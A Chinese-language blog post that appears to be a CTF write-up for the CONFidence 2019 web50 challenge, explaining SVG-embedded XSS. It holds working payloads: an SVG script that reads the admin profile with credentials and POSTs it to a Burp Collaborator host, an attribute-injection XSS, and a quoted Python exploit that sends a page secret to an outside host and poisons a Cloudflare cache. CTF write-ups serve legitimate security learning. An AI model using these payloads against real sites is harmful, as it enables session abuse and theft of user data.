菠萝吹雪's Studio.

svg xss的理解

字数统计: 889阅读时长: 4 min
2019/03/27 Share

前言

起因是在CONFidence CTF 2019 上的web50
预期解是svg xss
非预期解是 缓存投毒 (orz 这个太nb了)

题目地址

1
http://web50.zajebistyc.tf/

比赛地址

1
https://confidence2019.p4.team/

简述svg

SVG是可缩放矢量图形,优点是图像在放大或改变尺寸下,图像质量不会有所损失,原因是 SVG 图像是使用 XML 标记构建的,浏览器通过绘制每个点和线来打印它们,而不是用预定义的像素填充某些空间。SVG用xml语言编写,是用于网络的基于矢量的图形

利用原理

由于SVG 是用xml 编写的,所以可以在xml代码里嵌入js代码,例如

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve"> <image id="image0" width="751" height="751" x="0" y="0"
href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>alert(xss)</script>
</svg>

成功截图

avatar

题目解法

题目截图

avatar
随便输点什么进去,会发现两个链接
avatar
第一个链接是个人信息,可以换头像,表单可以想到用xss,同时可以注意到url,试访问profile/admin,然而只能看到信息,不能进行什么操作
avatar
第二个链接是一个表单,提交后台admin会去访问。
avatar

smi1e师傅发现了一出selfxss,但是没什么用(自己x自己么,滑稽脸.jpg)
payload:30 autofocus onfocus=alert(1)

但是selfxss也可以配合csrf 进行攻击

1
https://www.freebuf.com/articles/web/164069.html

此处不在细说
关键点在上传图片那里可以利用刚才的SVG xss把admin的页面打到vps上面,再到第二个功能那里去访问图像地址,让admin去访问构成csrf
此处贴上郁离歌的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" id="Layer_1" x="0px" y="0px" width="100px" height="100px" viewBox="-12.5 -12.5 100 100" xml:space="preserve"> 
...
<g>
<polygon fill="#00B0D9" points="41.5,40 38.7,39.2 38.7,47.1 41.5,47.1 "></polygon>
<script type="text/javascript">
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
var xhr2 = new XMLHttpRequest();
xhr2.open("POST", "http://XXXX.burpcollaborator.net/");
xhr2.send(xhr.responseText);
}
}
xhr.open("GET", "http://web50.zajebistyc.tf/profile/admin");
xhr.withCredentials = true;
xhr.send();
</script>
</g>
...
</svg>

总结

其实除了SVG 可以xss之外,bmp和gif也可以构成xss
参考文章:

1
https://blog.csdn.net/qq_27446553/article/details/45498489

以及对SVG xss 更深入的理解
参考文章:

1
https://www.hackersb.cn/hacker/85.html

还有一个缓存投毒的非预期解没讲
实在是看不懂大佬的操作,先码着
ctftime wp :

1
https://ctftime.org/writeup/13925

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests, random

payload = '''fetch("/profile").then(function(e){e.text().then(function(f){new/**/Image().src='//avlidienbrunn.se/?'+/secret(.*)>/.exec(f)[0]})})'''
raw_data = '''------WebKitFormBoundary8XvNm1gXcAtb4Hik
Content-Disposition: form-data; name="firstname"

azz
------WebKitFormBoundary8XvNm1gXcAtb4Hik
Content-Disposition: form-data; name="lastname"

zzz
------WebKitFormBoundary8XvNm1gXcAtb4Hik
Content-Disposition: form-data; name="shoesize"

1 tabindex=1 contenteditable autofocus onfocus='''+payload+'''
------WebKitFormBoundary8XvNm1gXcAtb4Hik
Content-Disposition: form-data; name="secret"

asd
------WebKitFormBoundary8XvNm1gXcAtb4Hik
Content-Disposition: form-data; name="avatar"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary8XvNm1gXcAtb4Hik--
'''

s = requests.Session()

s.get('http://web50.zajebistyc.tf/login')

username = 'hfs-'+str(random.randint(1000000,99999999))+".js"
password = username

headers_login = {'Content-Type': 'application/x-www-form-urlencoded'}
headers = {'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundary8XvNm1gXcAtb4Hik'}

# Register account
res = s.post('http://web50.zajebistyc.tf/login', headers=headers_login, data="login="+username+"&password="+password)

# XSS profile
res = s.post('http://web50.zajebistyc.tf/profile/'+username, data=raw_data, headers=headers)

# Poison cloudflare cache
s.get('http://web50.zajebistyc.tf/profile/'+username)

print "poisoned. go report "+'http://web50.zajebistyc.tf/profile/'+username

CATALOG
  1. 1. 前言
    1. 1.1. 题目地址
    2. 1.2. 比赛地址
      1. 1.2.1. 简述svg
      2. 1.2.2. 利用原理
      3. 1.2.3. 题目解法
        1. 1.2.3.1. 题目截图
      4. 1.2.4. 总结